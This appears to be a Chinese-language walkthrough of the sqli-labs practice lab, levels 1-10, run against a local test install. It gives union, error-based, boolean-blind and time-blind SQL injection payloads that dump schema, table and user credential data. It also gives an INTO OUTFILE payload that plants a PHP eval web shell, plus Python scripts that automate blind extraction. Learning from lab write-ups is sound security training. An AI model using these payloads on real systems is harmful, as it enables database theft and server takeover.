Sqli-labs 1-10
Less 1-4(基礎注入)
基礎知識:
- table_schema:資料庫的名稱
- table_name:表的名稱
- column_name:列的名稱
- information_schema:表示所有資訊,包括庫、表、列
- information_schema.tables:表示所有表的資訊
- information_schema.columns:表示所有列的資訊
- limit 0,1 :從第0位(第一個)開始搜尋1個
- group_concat:將結果聯合在一行輸出
查庫
- select 1,2,group_concat(schema_name) from information_schema.schemata
Payload
http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,2,group_concat(schema_name) from information_schema.schemata --+
selete 1,2是因為發現有三個輸出位置,第一個沒有結果,需要爆的的位置在2,3均可。
不一定一定是'閉合,不同題還可能是",)等等。
最後的+會被解析成空格,如果沒有+,註釋符號--會和'再一起導致報錯。
查表
- select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'
Payload
http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+
查列
- select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'
payload
http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' --+
查欄位
- select 1,2,group_concat(username,0x3a,password) from security.users
0x3a 16進位制轉10進位制就是58 轉字元就是;
payload與前面類似
Less 5-6(報錯注入)
-
floor報錯
- 1'後
+
or (select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 3,1),floor(rand(0)*2))x from information_schema.tables group by x)a) --+
- 1'後
-
extractvalue報錯
- 1'後
+
or extractvalue(1, concat(1,(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1))) --+ - 上面是查表,其他的類似更改就行。
- 結果只能一個一個顯示,故是limit x,1。要逐個查詢則更改x的值。
- 1'後
Less 7 (匯入檔案注入)
- 一點補充,不同軟體及系統下網站根目錄:
linux:/usr/local/nginx/html,/home/wwwroot/default,/usr/share/nginx,/var/www/htm
apache:.../var/www/htm,.../var/www/html/htdocs
phpstudy(我就是這個):...\PHPTutorial\WWW\
那麼該怎麼獲取到呢,這個板塊我們無法拿到,可以在之前Less 1試試
payload:?id=-1' union select 1,@@basedir,@@datadir --+
成功拿到了地址
現在回到Less 7
payload:?id=1')) union select 1,2,'<?php @eval($_POST["theoyu"]);?>' into outfile "D:\\phpStudy\\PHPTutorial\\WWW\\hack.php" --+
發現並沒能傳入檔案..
百度得知需要檢視mysql有無寫入許可權:
- 開啟mysql 輸入
show variables like '%secure%';
- 這裡是我已經更改過的,沒有更改的
secure_file_priv
這裡value
應該是NULL,需要開啟mysql.ini加入secure_file_priv="/"
- 然後就是上面我的樣子了!就可以傳檔案了。
- 之後就可以用蟻劍或者菜刀為所欲為了~
Less 8(布林注入)
payload:?id=1' and (select length(database())=1) --+
這裡不斷更改1,2直到8,根據頁面是否返回you are in......判斷正確與否,這裡用python指令碼嘗試爆破資料庫長度和名字。
import requests
import re
import datetime
target_url='http://localhost/sqli-labs-master/Less-8/'
'''Get database length'''
def get_database_length(target_url):
print('Loading...')
for i in range(1,10):
payload = "?id=1' and (select length(database())=%s) --+"%i
htmlcontent = requests.get(target_url + payload).text
result = re.findall("You are in...........",htmlcontent)
if not result:
continue
else:
print('Database length: %s' %i)
return i
'''Get database name'''
def get_database_name(target_url):
db_name = ''
db_length = get_database_length(target_url)
letters = 'abcdefghijklmnopqrstuvwxyz'
for i in range(1,db_length + 1):
for letter in letters:
payload = "?id=1' and substr(database(),%s,1)='%s' --+" %(i, letter)
r = requests.get(target_url + payload)
if 'You are in' in r.text:
db_name += letter
print(db_name)
break
print('Database name:%s'%db_name)
return db_name
if __name__ == '__main__':
print('+---------------------------------------------------------------------------------------------+')
begin = datetime.datetime.now()
target_url = 'http://127.0.0.1/sqli-labs-master/Less-8/'
database = get_database_name(target_url)
print('+---------------------------------------------------------------------------------------------+')
結果如下:
也不知道為什麼,速度真的很慢很慢很慢??平均每個字母嘗試都畫了一秒,一個位元組就畫了快一分鐘(還是我沒把數字包含進去),看視訊裡都是刷瞬間就弄完了,尋思我的電腦也沒那麼爛阿?
哦對了不想用python的話用burp suite也可以,很簡單速度好像還快一些。
Less 9-10 (基於時間的盲注)
- 在這兩個模組,無論我們輸入什麼,返回的結果都是一樣的,只能用sleep函式,根據返回的時間進行判斷。
import requests
import datetime
import time
global length
def database_len():
for i in range(1,10):
url='''http://localhost/sqli-labs-master/Less-9/'''
payload='''?id=1' and if(length(database())=%d,sleep(3),0) --+'''%i
start_time=time.time()
requests.get(url+payload)
if time.time()-start_time>3:
print('database length is ',i)
global length
length=i
break
else:
print(i)
database_len()
def database_name():
name=''
for j in range(1,length+1):
for i in 'abcdefghijklmnopqrstuvwxyz0123456789':
url='''http://localhost/sqli-labs-master/Less-9/'''
payload='''?id=1' and if(substr(database(),%d,1)='%s',sleep(3),0)--+'''%(j,i)
start_time=time.time()
requests.get(url+payload)
if time.time()-start_time>3:
name+=i
print(name)
break
print('database_name:',name)
database_name()
- 輸出結果